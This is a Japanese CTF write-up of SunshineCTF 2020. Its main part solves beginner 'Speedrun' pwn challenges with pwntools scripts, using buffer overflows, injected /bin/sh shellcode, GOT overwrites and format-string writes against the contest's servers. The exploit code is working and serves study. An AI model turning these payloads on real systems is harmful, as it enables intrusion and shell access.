SunshineCTF 2020 Writeup
11/7から行われたSunshineCTF 2020に参加しました. たくさん解けて楽しかったです.
Web
Password Pandemonium (100 Pts)
登録フォームが表示される. 適当に登録しようとするとパスワードでいろいろなエラーが出る.
- 短い
- 長い
- 特殊文字を3文字以上
- 素数を含む
- 絵文字を含む
- 大文字と小文字の数が同じ
- 回文
- JavaScriptで
True
が返される - MD5でハッシュしたとき先頭が数字
"😀Aa3aA😀"=="😀Aa3aA😀"
と入力したらフラグが表示された.
flag: sun{Pal1ndr0m1c_EcMaScRiPt}
Reversing
Hotel Door Puzzle (100 Pts)
$ ./hotel_key_puzzle Hotel Orlando Door Puzzle v1 ---------------------------- This puzzle, provided by Hotel Orlando, is in place to give the bellhops enough time to get your luggage to you. We have really slow bellhops and so we had to put a serious _time sink_ in front of you. Have fun with this puzzle while we get your luggage to you! -Hotel Orlando Bellhop and Stalling Service Your guess, if you would be so kind: abcd Sadly, that is the incorrect key. If you would like, you could also sit in our lobby and wait.
keyがフラグっぽい.
angrを使いました.
import angr project = angr.Project('./hotel_key_puzzle') entry = project.factory.entry_state() simgr = project.factory.simgr(entry) simgr.explore() states = simgr.deadended for state in states: flag = b"".join(state.posix.stdin.concretize()) print(flag)
$ python3 solve.py b'sun{b3llh0p\xd9-runn\xc9n6-qu1ckly}\x00\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9' b'sun{b3llh0p\xc9-runn1n6-qu1ckly}\x00\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9' b'sun{b3llh0p5-runn1n6-qu1ckly}\x00\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9'
angrの使い方はSECCON Beginners Liveで解説されてました.
http://o0i.es/c4blive.pdf
flag: sun{b3llh0p5-runn1n6-qu1ckly}
Crypto
Magically Delicious (100 Pts)
⭐🌈🍀 ⭐🌈🦄 ⭐🦄🌈 ⭐🎈🍀 ⭐🦄🌑 ⭐🌈🦄 ⭐🌑🍀 ⭐🦄🍀 ⭐🎈⭐ 🦄🦄 ⭐🦄🎈 ⭐🌑🍀 ⭐🌈🌑 ⭐🌑⭐ ⭐🦄🌑 🦄🦄 ⭐🌑🦄 ⭐🦄🌈 ⭐🌑🍀 ⭐🦄🎈 ⭐🌑🌑 ⭐🦄⭐ ⭐🦄🌈 ⭐🌑🎈 🦄🦄 ⭐🦄⭐ ⭐🌈🍀 🦄🦄 ⭐🌈🌑 ⭐🦄💜 ⭐🌑🦄 🦄🦄 ⭐🌑🐴 ⭐🌑🦄 ⭐🌈🍀 ⭐🌈🌑 🦄🦄 ⭐🌑🦄 ⭐🦄🌈 ⭐🌑🍀 ⭐🦄🎈 ⭐🌑🌑 ⭐🦄⭐ ⭐🦄🌈 ⭐🌑🎈 🦄🦄 ⭐🦄🦄 ⭐🌑🦄 ⭐🌈🌑 ⭐🦄💜 ⭐🦄🎈 ⭐🌑🌑 ⭐🎈🦄
Tip: If you're digging into the unicode encoding of the emojis, you're on the wrong track!
ありがたいヒント.
3文字ごとに区切られてるから8進数かな.
>>> for c in "sun{}": ... print(oct(ord(c))) ... 0o163 0o165 0o156 0o173 0o175
⭐ → 1, 🌈 → 6, 🍀 → 3, 🦄 → 5, 🎈 → 7 と変換すればよさそう.
💜, 🐴, 🌑はいい感じの文字列になるように変換した.
encoded_flag="⭐🌈🍀 ⭐🌈🦄 ⭐🦄🌈 ⭐🎈🍀 ⭐🦄🌑 ⭐🌈🦄 ⭐🌑🍀 ⭐🦄🍀 ⭐🎈⭐ 🦄🦄 ⭐🦄🎈 ⭐🌑🍀 ⭐🌈🌑 ⭐🌑⭐ ⭐🦄🌑 🦄🦄 ⭐🌑🦄 ⭐🦄🌈 ⭐🌑🍀 ⭐🦄🎈 ⭐🌑🌑 ⭐🦄⭐ ⭐🦄🌈 ⭐🌑🎈 🦄🦄 ⭐🦄⭐ ⭐🌈🍀 🦄🦄 ⭐🌈🌑 ⭐🦄💜 ⭐🌑🦄 🦄🦄 ⭐🌑🐴 ⭐🌑🦄 ⭐🌈🍀 ⭐🌈🌑 🦄🦄 ⭐🌑🦄 ⭐🦄🌈 ⭐🌑🍀 ⭐🦄🎈 ⭐🌑🌑 ⭐🦄⭐ ⭐🦄🌈 ⭐🌑🎈 🦄🦄 ⭐🦄🦄 ⭐🌑🦄 ⭐🌈🌑 ⭐🦄💜 ⭐🦄🎈 ⭐🌑🌑 ⭐🎈🦄" l=encoded_flag.split(' ') flag="" for i in l: s="" for c in i: if c=='💜': s+='0' if c=='⭐': s+='1' if c=='🐴': s+='2' if c=='🍀': s+='3' if c=='🌑': s+='4' if c=='🦄': s+='5' if c=='🌈': s+='6' if c=='🎈': s+='7' flag+=chr(int(s,8)) print(flag)
$ python3 solve.py sun{lucky-octal-encoding-is-the-best-encoding-method}
flag: sun{lucky-octal-encoding-is-the-best-encoding-method}
Speedrun
pwnの基礎問題的なやつ. いい練習になりました.
00 (10 Pts)
gdb-peda$ disas main Dump of assembler code for function main: 0x00000000000006ca <+0>: push rbp 0x00000000000006cb <+1>: mov rbp,rsp 0x00000000000006ce <+4>: sub rsp,0x40 0x00000000000006d2 <+8>: lea rdi,[rip+0xcb] # 0x7a4 0x00000000000006d9 <+15>: call 0x580 <puts@plt> 0x00000000000006de <+20>: lea rax,[rbp-0x40] 0x00000000000006e2 <+24>: mov rdi,rax 0x00000000000006e5 <+27>: mov eax,0x0 0x00000000000006ea <+32>: call 0x5a0 <gets@plt> 0x00000000000006ef <+37>: cmp DWORD PTR [rbp-0x4],0xfacade 0x00000000000006f6 <+44>: jne 0x704 <main+58> 0x00000000000006f8 <+46>: lea rdi,[rip+0xba] # 0x7b9 0x00000000000006ff <+53>: call 0x590 <system@plt> 0x0000000000000704 <+58>: cmp DWORD PTR [rbp-0x8],0xfacade 0x000000000000070b <+65>: jne 0x719 <main+79> 0x000000000000070d <+67>: lea rdi,[rip+0xa5] # 0x7b9 0x0000000000000714 <+74>: call 0x590 <system@plt> 0x0000000000000719 <+79>: nop 0x000000000000071a <+80>: leave 0x000000000000071b <+81>: ret End of assembler dump.
rbp-0x4
かrbp-0x8
の値が0xfacade
になっているとシェルが起動する. 入力がrbp-0x40
からに格納されるので0x3c
文字か0x38
文字後に0xfacade
を置く.
from pwn import * # p=process('./chall_00') p=remote('chal.2020.sunshinectf.org',30000) arg=0xfacade payload=b'' for i in range(8): payload+=p64(arg) p.recv() p.sendline(payload) p.interactive()
flag: sun{burn-it-down-6208bbc96c9ffce4}
01 (10 Pts)
gdb-peda$ disas main Dump of assembler code for function main: 0x000000000000075a <+0>: push rbp 0x000000000000075b <+1>: mov rbp,rsp 0x000000000000075e <+4>: sub rsp,0x60 0x0000000000000762 <+8>: lea rdi,[rip+0xef] # 0x858 0x0000000000000769 <+15>: call 0x600 <puts@plt> 0x000000000000076e <+20>: mov rdx,QWORD PTR [rip+0x20089b] # 0x201010 <stdin@@GLIBC_2.2.5> 0x0000000000000775 <+27>: lea rax,[rbp-0x20] 0x0000000000000779 <+31>: mov esi,0x13 0x000000000000077e <+36>: mov rdi,rax 0x0000000000000781 <+39>: call 0x620 <fgets@plt> 0x0000000000000786 <+44>: lea rax,[rbp-0x60] 0x000000000000078a <+48>: mov rdi,rax 0x000000000000078d <+51>: mov eax,0x0 0x0000000000000792 <+56>: call 0x630 <gets@plt> 0x0000000000000797 <+61>: cmp DWORD PTR [rbp-0x4],0xfacade 0x000000000000079e <+68>: jne 0x7ac <main+82> 0x00000000000007a0 <+70>: lea rdi,[rip+0xdf] # 0x886 0x00000000000007a7 <+77>: call 0x610 <system@plt> 0x00000000000007ac <+82>: cmp DWORD PTR [rbp-0x8],0xfacade 0x00000000000007b3 <+89>: jne 0x7c1 <main+103> 0x00000000000007b5 <+91>: lea rdi,[rip+0xca] # 0x886 0x00000000000007bc <+98>: call 0x610 <system@plt> 0x00000000000007c1 <+103>: nop 0x00000000000007c2 <+104>: leave 0x00000000000007c3 <+105>: ret End of assembler dump.
00と同様にrbp-0x4
かrbp-0x8
の値が0xfacade
になっているとシェルが起動する. fgets
は文字数制限があるためgets
で入力する. rbp-0x60
からなので0x5c
文字か0x58
文字後に0xfacade
を置く.
from pwn import * # p=process('./chall_01') p=remote('chal.2020.sunshinectf.org',30001) arg=0xfacade payload=b'' for i in range(12): payload+=p64(arg) p.recv() p.sendline() p.sendline(payload) p.interactive()
flag: sun{eternal-rest-6a5ee49d943a053a}
02 (10 Pts)
gdb-peda$ disas vuln Dump of assembler code for function vuln: 0x08048501 <+0>: push ebp 0x08048502 <+1>: mov ebp,esp 0x08048504 <+3>: push ebx 0x08048505 <+4>: sub esp,0x44 0x08048508 <+7>: call 0x8048582 <__x86.get_pc_thunk.ax> 0x0804850d <+12>: add eax,0x1af3 0x08048512 <+17>: sub esp,0xc 0x08048515 <+20>: lea edx,[ebp-0x3a] 0x08048518 <+23>: push edx 0x08048519 <+24>: mov ebx,eax 0x0804851b <+26>: call 0x8048360 <gets@plt> 0x08048520 <+31>: add esp,0x10 0x08048523 <+34>: nop 0x08048524 <+35>: mov ebx,DWORD PTR [ebp-0x4] 0x08048527 <+38>: leave 0x08048528 <+39>: ret End of assembler dump.
vuln
内のgets
でBOFが起きる. リターンアドレスをwin
のアドレスに書き換える. offsetは0x3a+0x4=0x3e
.
from pwn import * # p=process('./chall_02') p=remote('chal.2020.sunshinectf.org',30002) e=ELF('./chall_02') payload=b'A'*62 payload+=p64(e.symbols['win']) p.recv() p.sendline() p.sendline(payload) p.interactive()
flag: sun{warmness-on-the-soul-3b6aad1d8bb54732}
03 (18 Pts)
gdb-peda$ disas vuln Dump of assembler code for function vuln: 0x000000000000075a <+0>: push rbp 0x000000000000075b <+1>: mov rbp,rsp 0x000000000000075e <+4>: sub rsp,0x70 0x0000000000000762 <+8>: lea rax,[rbp-0x70] 0x0000000000000766 <+12>: mov rsi,rax 0x0000000000000769 <+15>: lea rdi,[rip+0xe4] # 0x854 0x0000000000000770 <+22>: mov eax,0x0 0x0000000000000775 <+27>: call 0x610 <printf@plt> 0x000000000000077a <+32>: lea rax,[rbp-0x70] 0x000000000000077e <+36>: mov rdi,rax 0x0000000000000781 <+39>: mov eax,0x0 0x0000000000000786 <+44>: call 0x630 <gets@plt> 0x000000000000078b <+49>: nop 0x000000000000078c <+50>: leave 0x000000000000078d <+51>: ret End of assembler dump.
02と同様にvuln
のgets
でBOFが起きる. しかしwin
がなく, PIEが有効になっている.
2回目の入力の前にアドレスrbp-0x70
が表示される. これは2回目の入力の文字が格納されるアドレスと同じ.
NXbitは無効になってるから2回目の入力時にシェルコードを書き込み, リターンアドレスを表示されたアドレスに書き換えるとリターン時にシェルコードが実行される.
from pwn import * # p=process('./chall_03') p=remote('chal.2020.sunshinectf.org',30003) e=ELF('./chall_03') # http://shell-storm.org/shellcode/files/shellcode-806.php shellcode=b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" p.recv() p.sendline() p.recvuntil(': ') buf=int(p.recv(14)[2:],16) payload=shellcode payload+=b'A'*(120-len(shellcode)) payload+=p64(buf) p.sendline(payload) p.interactive()
flag: sun{a-little-piece-of-heaven-26c8795afe7b3c49}
04 (10 Pts)
gdb-peda$ disas vuln Dump of assembler code for function vuln: 0x00000000004005ca <+0>: push rbp 0x00000000004005cb <+1>: mov rbp,rsp 0x00000000004005ce <+4>: sub rsp,0x240 0x00000000004005d5 <+11>: mov rdx,QWORD PTR [rip+0x200a64] # 0x601040 <stdin@@GLIBC_2.2.5> 0x00000000004005dc <+18>: lea rax,[rbp-0x40] 0x00000000004005e0 <+22>: mov esi,0x64 0x00000000004005e5 <+27>: mov rdi,rax 0x00000000004005e8 <+30>: call 0x4004c0 <fgets@plt> 0x00000000004005ed <+35>: mov rdx,QWORD PTR [rbp-0x8] 0x00000000004005f1 <+39>: mov eax,0x0 0x00000000004005f6 <+44>: call rdx 0x00000000004005f8 <+46>: nop 0x00000000004005f9 <+47>: leave 0x00000000004005fa <+48>: ret End of assembler dump.
2回目の入力が終わるとrdx
レジスタの値をcall
してくれる. 直前にrbp-0x8
の値がrdx
に代入される. 入力がrbp-0x40
からに格納されるので0x38(=0x40-0x8)
文字後にwin
のアドレスを置くとcall
時にwin
が実行される.
from pwn import * # p=process('./chall_04') p=remote('chal.2020.sunshinectf.org',30004) e=ELF('./chall_04') payload=b'A'*0x38 payload+=p64(e.symbols['win']) p.recv() p.sendline() p.sendline(payload) p.interactive()
flag: sun{critical-acclaim-96cfde3d068e77bf}
05 (10 Pts)
gdb-peda$ disas vuln Dump of assembler code for function vuln: 0x00000000000007a6 <+0>: push rbp 0x00000000000007a7 <+1>: mov rbp,rsp 0x00000000000007aa <+4>: sub rsp,0x240 0x00000000000007b1 <+11>: lea rsi,[rip+0xffffffffffffffb5] # 0x76d <main> 0x00000000000007b8 <+18>: lea rdi,[rip+0xd4] # 0x893 0x00000000000007bf <+25>: mov eax,0x0 0x00000000000007c4 <+30>: call 0x620 <printf@plt> 0x00000000000007c9 <+35>: mov rdx,QWORD PTR [rip+0x200840] # 0x201010 <stdin@@GLIBC_2.2.5> 0x00000000000007d0 <+42>: lea rax,[rbp-0x40] 0x00000000000007d4 <+46>: mov esi,0x64 0x00000000000007d9 <+51>: mov rdi,rax 0x00000000000007dc <+54>: call 0x630 <fgets@plt> 0x00000000000007e1 <+59>: mov rdx,QWORD PTR [rbp-0x8] 0x00000000000007e5 <+63>: mov eax,0x0 0x00000000000007ea <+68>: call rdx 0x00000000000007ec <+70>: nop 0x00000000000007ed <+71>: leave 0x00000000000007ee <+72>: ret End of assembler dump.
04と同様に2回目の入力が終わるとrdx
レジスタの値をcall
してくれる. しかし, PIEが有効になっていてwin
のアドレスがわからない.
2回目の入力の前にmain
のアドレスが表示される. このアドレスからwin
のアドレスを計算する. あとは04と同じ.
from pwn import * # p=process('./chall_05') p=remote('chal.2020.sunshinectf.org',30005) e=ELF('./chall_05') p.recv() p.sendline() p.recvuntil(': ') win=int(p.recv(14)[2:],16)+e.symbols['win']-e.symbols['main'] print(hex(win)) payload=b'A'*0x38 payload+=p64(win) p.sendline(payload) p.interactive()
flag: sun{chapter-four-9ca97769b74345b1}
06 (23 Pts)
gdb-peda$ disas main Dump of assembler code for function main: 0x000000000000071a <+0>: push rbp 0x000000000000071b <+1>: mov rbp,rsp 0x000000000000071e <+4>: sub rsp,0xd0 0x0000000000000725 <+11>: lea rax,[rbp-0xd0] 0x000000000000072c <+18>: mov rsi,rax 0x000000000000072f <+21>: lea rdi,[rip+0x102] # 0x838 0x0000000000000736 <+28>: mov eax,0x0 0x000000000000073b <+33>: call 0x5e0 <printf@plt> 0x0000000000000740 <+38>: mov rdx,QWORD PTR [rip+0x2008c9] # 0x201010 <stdin@@GLIBC_2.2.5> 0x0000000000000747 <+45>: lea rax,[rbp-0xd0] 0x000000000000074e <+52>: mov esi,0xc7 0x0000000000000753 <+57>: mov rdi,rax 0x0000000000000756 <+60>: call 0x5f0 <fgets@plt> 0x000000000000075b <+65>: mov eax,0x0 0x0000000000000760 <+70>: call 0x768 <vuln> 0x0000000000000765 <+75>: nop 0x0000000000000766 <+76>: leave 0x0000000000000767 <+77>: ret End of assembler dump.
1回目の入力の前にアドレスrbp-0xd0
が表示される. これは1回目に入力する文字が格納されるアドレスと同じ.
gdb-peda$ disas vuln Dump of assembler code for function vuln: 0x0000000000000768 <+0>: push rbp 0x0000000000000769 <+1>: mov rbp,rsp 0x000000000000076c <+4>: sub rsp,0x240 0x0000000000000773 <+11>: lea rdi,[rip+0xe6] # 0x860 0x000000000000077a <+18>: call 0x5d0 <puts@plt> 0x000000000000077f <+23>: mov rdx,QWORD PTR [rip+0x20088a] # 0x201010 <stdin@@GLIBC_2.2.5> 0x0000000000000786 <+30>: lea rax,[rbp-0x40] 0x000000000000078a <+34>: mov esi,0x64 0x000000000000078f <+39>: mov rdi,rax 0x0000000000000792 <+42>: call 0x5f0 <fgets@plt> 0x0000000000000797 <+47>: mov rdx,QWORD PTR [rbp-0x8] 0x000000000000079b <+51>: mov eax,0x0 0x00000000000007a0 <+56>: call rdx 0x00000000000007a2 <+58>: nop 0x00000000000007a3 <+59>: leave 0x00000000000007a4 <+60>: ret End of assembler dump.
04, 05と同様に2回目の入力が終わるとrdx
レジスタの値をcall
してくれる.
1回目の入力時にシェルコードを書き込み, rbp-0x8
に表示されたアドレスを書き込めばcall
時にシェルコードが実行される.
from pwn import * # p=process('./chall_06') p=remote('chal.2020.sunshinectf.org',30006) e=ELF('./chall_06') # http://shell-storm.org/shellcode/files/shellcode-806.php shellcode=b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" p.recvuntil(': ') buf=int(p.recv(14)[2:],16) p.sendline(shellcode) payload=b'A'*0x38 payload+=p64(buf) p.recv() p.sendline(payload) p.interactive()
flag: sun{shepherd-of-fire-1a78a8e600bf4492}
07 (26 Pts)
gdb-peda$ disas main Dump of assembler code for function main: 0x000000000000073a <+0>: push rbp 0x000000000000073b <+1>: mov rbp,rsp 0x000000000000073e <+4>: sub rsp,0xf0 0x0000000000000745 <+11>: mov rax,QWORD PTR fs:0x28 0x000000000000074e <+20>: mov QWORD PTR [rbp-0x8],rax 0x0000000000000752 <+24>: xor eax,eax 0x0000000000000754 <+26>: lea rdi,[rip+0xe9] # 0x844 0x000000000000075b <+33>: mov eax,0x0 0x0000000000000760 <+38>: call 0x600 <printf@plt> 0x0000000000000765 <+43>: mov rdx,QWORD PTR [rip+0x2008a4] # 0x201010 <stdin@@GLIBC_2.2.5> 0x000000000000076c <+50>: lea rax,[rbp-0xf0] 0x0000000000000773 <+57>: mov esi,0x13 0x0000000000000778 <+62>: mov rdi,rax 0x000000000000077b <+65>: call 0x610 <fgets@plt> 0x0000000000000780 <+70>: mov rdx,QWORD PTR [rip+0x200889] # 0x201010 <stdin@@GLIBC_2.2.5> 0x0000000000000787 <+77>: lea rax,[rbp-0xd0] 0x000000000000078e <+84>: mov esi,0xc8 0x0000000000000793 <+89>: mov rdi,rax 0x0000000000000796 <+92>: call 0x610 <fgets@plt> 0x000000000000079b <+97>: lea rdx,[rbp-0xd0] 0x00000000000007a2 <+104>: mov eax,0x0 0x00000000000007a7 <+109>: call rdx 0x00000000000007a9 <+111>: nop 0x00000000000007aa <+112>: mov rax,QWORD PTR [rbp-0x8] 0x00000000000007ae <+116>: xor rax,QWORD PTR fs:0x28 0x00000000000007b7 <+125>: je 0x7be <main+132> 0x00000000000007b9 <+127>: call 0x5f0 <__stack_chk_fail@plt> 0x00000000000007be <+132>: leave 0x00000000000007bf <+133>: ret End of assembler dump.
2回目の入力が終わるとrdx
レジスタの値をcall
してくれる. 直前に2回目に入力された文字が格納されるアドレスであるrbp-0xd0
がrdx
にロードされるので2回目の入力時にシェルコードを書き込めばcall
時に実行される.
from pwn import * # p=process('./chall_07') p=remote('chal.2020.sunshinectf.org',30007) e=ELF('./chall_07') # http://shell-storm.org/shellcode/files/shellcode-806.php shellcode=b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" p.sendline() p.sendline(shellcode) p.interactive()
flag: sun{sidewinder-a80d0be1840663c4}
08 (37 Pts)
gdb-peda$ disas main Dump of assembler code for function main: 0x000000000040057a <+0>: push rbp 0x000000000040057b <+1>: mov rbp,rsp 0x000000000040057e <+4>: sub rsp,0x10 0x0000000000400582 <+8>: lea rax,[rbp-0x4] 0x0000000000400586 <+12>: mov rsi,rax 0x0000000000400589 <+15>: lea rdi,[rip+0xdc] # 0x40066c 0x0000000000400590 <+22>: mov eax,0x0 0x0000000000400595 <+27>: call 0x400470 <__isoc99_scanf@plt> 0x000000000040059a <+32>: lea rax,[rbp-0x10] 0x000000000040059e <+36>: mov rsi,rax 0x00000000004005a1 <+39>: lea rdi,[rip+0xc7] # 0x40066f 0x00000000004005a8 <+46>: mov eax,0x0 0x00000000004005ad <+51>: call 0x400470 <__isoc99_scanf@plt> 0x00000000004005b2 <+56>: mov eax,DWORD PTR [rbp-0x4] 0x00000000004005b5 <+59>: mov rdx,QWORD PTR [rbp-0x10] 0x00000000004005b9 <+63>: cdqe 0x00000000004005bb <+65>: lea rcx,[rax*8+0x0] 0x00000000004005c3 <+73>: lea rax,[rip+0x200476] # 0x600a40 <target> 0x00000000004005ca <+80>: mov QWORD PTR [rcx+rax*1],rdx 0x00000000004005ce <+84>: lea rdi,[rip+0x9e] # 0x400673 0x00000000004005d5 <+91>: call 0x400450 <puts@plt> 0x00000000004005da <+96>: nop 0x00000000004005db <+97>: leave 0x00000000004005dc <+98>: ret End of assembler dump.
数字を2回入力できる. 1回目の入力をx
, 2回目の入力をy
とすると
0x00000000004005b2 <+56>: mov eax,DWORD PTR [rbp-0x4] # eax=x 0x00000000004005b5 <+59>: mov rdx,QWORD PTR [rbp-0x10] # rdx=y 0x00000000004005b9 <+63>: cdqe # rax=x 0x00000000004005bb <+65>: lea rcx,[rax*8+0x0] # rcx=x*8 0x00000000004005c3 <+73>: lea rax,[rip+0x200476] # rax=0x600a40 0x00000000004005ca <+80>: mov QWORD PTR [rcx+rax*1],rdx # x*8+0x600a40にyを書き込む
main+80
でGOT Overwriteができそう. 直後にあるputs
のGOTをwin
のアドレスに書き換える.
x*8+0x600a40=(putsのGOT)
, y=(winのアドレス)
となるようなx
, y
を入力するとputs
呼び出し時にwin
が呼ばれる.
from pwn import * # p=process('./chall_08') p=remote('chal.2020.sunshinectf.org',30008) e=ELF('./chall_08') p.sendline(str((e.got["puts"]-0x600a40)//8)) p.sendline(str(e.symbols["win"])) p.interactive()
flag: sun{fiction-fa1a28a3ce2fdd96}
09 (29 Pts)
長いからGhidraでデコンパイル.
void main(void) { size_t sVar1; size_t sVar2; long in_FS_OFFSET; int local_5c; byte local_58 [56]; long local_20; local_20 = *(long *)(in_FS_OFFSET + 0x28); fgets((char *)local_58,0x31,stdin); sVar1 = strlen((char *)local_58); sVar2 = strlen(key); if (sVar1 == sVar2) { local_5c = 0; while( true ) { sVar1 = strlen(key); if (sVar1 <= (ulong)(long)local_5c) break; if ((local_58[local_5c] ^ 0x30) !=key[local_5c]) { /* WARNING: Subroutine does notreturn */ exit(0); } local_5c = local_5c + 1; } system("/bin/sh"); } if (local_20 != *(long *)(in_FS_OFFSET +0x28)) { /* WARNING: Subroutine does notreturn */ __stack_chk_fail(); } return ; }
(入力した文字列)^0x30 = key(="y\027FU\020S_]U\020XUBU\020D_:")
となる文字列を入力するとシェルが起動する.
入力する文字列はkey^0x30
で求められる.
key="y\027FU\020S_]U\020XUBU\020D_:" s="".join([chr(ord(c)^0x30) for c in key]) print(s)
$ python3 solve.py I've come here to
$ nc chal.2020.sunshinectf.org 30009 I've come here to ls chall_09 flag.txt cat flag.txt sun{coming-home-4202dcd54b230a00} exit
flag: sun{coming-home-4202dcd54b230a00}
10 (34 Pts)
gdb-peda$ disas vuln Dump of assembler code for function vuln: 0x0804850a <+0>: push ebp 0x0804850b <+1>: mov ebp,esp 0x0804850d <+3>: push ebx 0x0804850e <+4>: sub esp,0x44 0x08048511 <+7>: call 0x804858b <__x86.get_pc_thunk.ax> 0x08048516 <+12>: add eax,0x1aea 0x0804851b <+17>: sub esp,0xc 0x0804851e <+20>: lea edx,[ebp-0x3a] 0x08048521 <+23>: push edx 0x08048522 <+24>: mov ebx,eax 0x08048524 <+26>: call 0x8048360 <gets@plt> 0x08048529 <+31>: add esp,0x10 0x0804852c <+34>: nop 0x0804852d <+35>: mov ebx,DWORD PTR [ebp-0x4] 0x08048530 <+38>: leave 0x08048531 <+39>: ret End of assembler dump.
vuln
内のgets
でBOFが起きる. リターンアドレスをwin
に書き換えてあげればよいがwin
に引数チェックがある.
gdb-peda$ disas win Dump of assembler code for function win: 0x080484d6 <+0>: push ebp 0x080484d7 <+1>: mov ebp,esp 0x080484d9 <+3>: push ebx 0x080484da <+4>: sub esp,0x4 0x080484dd <+7>: call 0x804858b <__x86.get_pc_thunk.ax> 0x080484e2 <+12>: add eax,0x1b1e 0x080484e7 <+17>: cmp DWORD PTR [ebp+0x8],0xdeadbeef 0x080484ee <+24>: jne 0x8048504 <win+46> 0x080484f0 <+26>: sub esp,0xc 0x080484f3 <+29>: lea edx,[eax-0x19f0] 0x080484f9 <+35>: push edx 0x080484fa <+36>: mov ebx,eax 0x080484fc <+38>: call 0x8048390 <system@plt> 0x08048501 <+43>: add esp,0x10 0x08048504 <+46>: nop 0x08048505 <+47>: mov ebx,DWORD PTR [ebp-0x4] 0x08048508 <+50>: leave 0x08048509 <+51>: ret End of assembler dump.
第1引数が0xdeadbeef
になっていればよい.
from pwn import * # p=process('./chall_10') p=remote('chal.2020.sunshinectf.org',30010) e=ELF('./chall_10') payload=b'A'*62 payload+=p32(e.symbols["win"]) payload+=b'B'*4 payload+=p32(0xdeadbeef) p.recv() p.sendline() p.sendline(payload) p.interactive()
flag: sun{second-heartbeat-aeaff82332769d0f}
11 (42 Pts)
gdb-peda$ disas vuln Dump of assembler code for function vuln: 0x08048511 <+0>: push ebp 0x08048512 <+1>: mov ebp,esp 0x08048514 <+3>: push ebx 0x08048515 <+4>: sub esp,0xd4 0x0804851b <+10>: call 0x8048420 <__x86.get_pc_thunk.bx> 0x08048520 <+15>: add ebx,0x13e8 0x08048526 <+21>: mov eax,DWORD PTR [ebx-0x4] 0x0804852c <+27>: mov eax,DWORD PTR [eax] 0x0804852e <+29>: sub esp,0x4 0x08048531 <+32>: push eax 0x08048532 <+33>: push 0xc7 0x08048537 <+38>: lea eax,[ebp-0xd0] 0x0804853d <+44>: push eax 0x0804853e <+45>: call 0x8048380 <fgets@plt> 0x08048543 <+50>: add esp,0x10 0x08048546 <+53>: sub esp,0xc 0x08048549 <+56>: lea eax,[ebp-0xd0] 0x0804854f <+62>: push eax 0x08048550 <+63>: call 0x8048360 <printf@plt> 0x08048555 <+68>: add esp,0x10 0x08048558 <+71>: mov eax,DWORD PTR [ebx-0x4] 0x0804855e <+77>: mov eax,DWORD PTR [eax] 0x08048560 <+79>: sub esp,0xc 0x08048563 <+82>: push eax 0x08048564 <+83>: call 0x8048370 <fflush@plt> 0x08048569 <+88>: add esp,0x10 0x0804856c <+91>: nop 0x0804856d <+92>: mov ebx,DWORD PTR [ebp-0x4] 0x08048570 <+95>: leave 0x08048571 <+96>: ret End of assembler dump.
vuln
のprintf
にFSBがある.
$ ./chall_11 So indeed AAAA%p,%p,%p,%p,%p,%p,%p AAAA0xc7,0xf7ed3580,0x8048520,(nil),(nil),0x41414141,0x252c7025
fflush
のGOTをwin
のアドレスに書き換えると, fflush
呼び出し時にwin
が呼ばれる.
from pwn import * # p=process('./chall_11') p=remote('chal.2020.sunshinectf.org',30011) e=ELF('./chall_11') fflush_got=e.got["fflush"] win=e.symbols["win"] payload=fmtstr_payload(6,{fflush_got:win}) p.sendline() p.sendline(payload) p.interactive()
flag: sun{afterlife-4b74753c2b12949f}
12 (45 Pts)
vuln
は11とほぼ同じでprintf
にFSBがある. しかし, PIEが有効になっていてwinのアドレスがわからない.
実行するとmain
のアドレスが表示される. このアドレスからfflush
のGOTとwin
のアドレスを計算する. あとは11と同様にfflush
のGOTをwin
のアドレスに書き換える.
from pwn import * # p=process('./chall_12') p=remote('chal.2020.sunshinectf.org',30012) e=ELF('./chall_12') main=e.symbols["main"] win=e.symbols["win"] fflush_got=e.got["fflush"] p.recvuntil(": ") leak_main=int(p.recv(14)[2:],16) win=leak_main+win-main fflush_got=leak_main+fflush_got-main payload=fmtstr_payload(6,{fflush_got:win}) p.sendline() p.sendline(payload) p.interactive()
flag: sun{the-stage-351efbcaebfda0d5}
13 (44 Pts)
vuln
は10とほぼ同じでgets
でBOFが起きる. リターンアドレスをsystemFunc
に書き換える.
from pwn import * # p=process('./chall_13') p=remote('chal.2020.sunshinectf.org',30013) e=ELF('./chall_13') payload=b'A'*62 payload+=p32(e.symbols["systemFunc"]) p.recv() p.sendline() p.sendline(payload) p.interactive()
flag: sun{almost-easy-61ddd735cf9053b0}
14 (47 Pts)
